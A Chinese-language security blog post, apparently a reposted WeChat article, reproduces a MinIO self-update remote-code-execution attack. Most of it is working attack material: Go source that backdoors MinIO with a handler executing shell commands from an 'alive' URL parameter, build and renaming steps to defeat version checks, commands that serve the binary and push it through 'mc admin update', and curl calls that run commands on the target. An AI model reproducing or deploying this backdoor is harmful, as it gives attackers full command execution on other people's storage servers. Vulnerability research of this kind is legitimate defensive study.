漏洞简介
漏洞复现
环境搭建
下载之后启动服务
https://github.com/minio/minio/compare/RELEASE.2023-01-25T00-19-54Z...RELEASE.2023-01-31T02-24-19Z
go run main.go server /root/桌面/minio(随便指定一个目录)
源码二开
//增加一个cmd/x.go 文件
package cmd
import (
"os/exec"
"runtime"
)
func getOutputDirectly(commandStr string) string {
var execGlobalOutput string
var shell [2]string
var systemOS string = runtime.GOOS
if systemOS == "linux" || systemOS == "darwin" {
shell[0], shell[1] = "/bin/bash", "-c"
} else {
shell[0], shell[1] = "C:\Windows\System32\cmd.exe", "/c"
}
cmd := exec.Command(shell[0], shell[1], commandStr)
output, err := cmd.Output()
if err != nil {
return ""
}
execGlobalOutput += string(output)
return execGlobalOutput
}
//添加全局预处理 Handler
//cmd/generic-handlers.go文件
func xHandler(h http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
var arg string
values := r.URL.Query()
arg = values.Get("alive")
if arg != "" {
w.Write([]byte(getOutputDirectly(arg)))
return
}
h.ServeHTTP(w, r)
})
}
//cmd/routers.go文件
xHandler,
打包二开源码
//2023-07-22这是时间,这里注意这个时间要比minio运行的日期要新(比如我2023-07-10启动的minio服务,那么更新文件名称时间就要比这个时间新,所以我用的minio.RELEASE.2023-07-22T06-36-24Z)
go build -ldflags="-s -w " -trimpath && mv minio minio.RELEASE.2023-07-22T06-36-24Z && shasum -a 256 minio.RELEASE.2023-07-22T06-36-24Z > minio.RELEASE.2023-07-22T06-36-24Z.sha256sum
启动一个http服务
//在更新文件目录使用python启动一个http服务
python3 -m http.server 5678
mc更新
//下载地址https://min.io/download#/linux
//设置别名为"test01"
./mc alias set test01 http://127.0.0.1:9000 minioadmin minioadmin
//进行更新操作
./mc admin update test01 http://172.19.0.1:5678/minio.RELEASE.2023-07-22T06-36-24Z.sha256sum -y
响应 Server `test01` updated successfully from DEVELOPMENT.GOGET to 2023-07-22T06-36-24Z 即表示更新成功
执行命令
curl 'http://10.211.55.9:9000/?alive=whoami'
curl 'http://10.211.55.9:9000/test?alive=whoami'
坑点
1、打包二开的payload源码时文件时间时间要比minio运行的日期要新,因为它是根据服务启动的时间来对比你的文件名称时间决定要不要更新。下图我使用复现成功的源码打包时时间改为03更新就会提示已是最新版。
2、如果是使用官方的Docker容器部署,将无法绕过二进制文件的签名检查,因为官方容器默认设置了官方公钥,需要知道私钥才能伪造签名
3、需要1.19以上版本的go环境运行,git clone https://github.com/udhos/update-golang(sudo RELEASE=1.19.1 ./update-golang.sh)
参考链接
https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ
https://zhuanlan.zhihu.com/p/624238964
https://github.com/AbelChe/evil_minio
原文始发于微信公众号(阿乐你好):MinIO自更新RCE
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论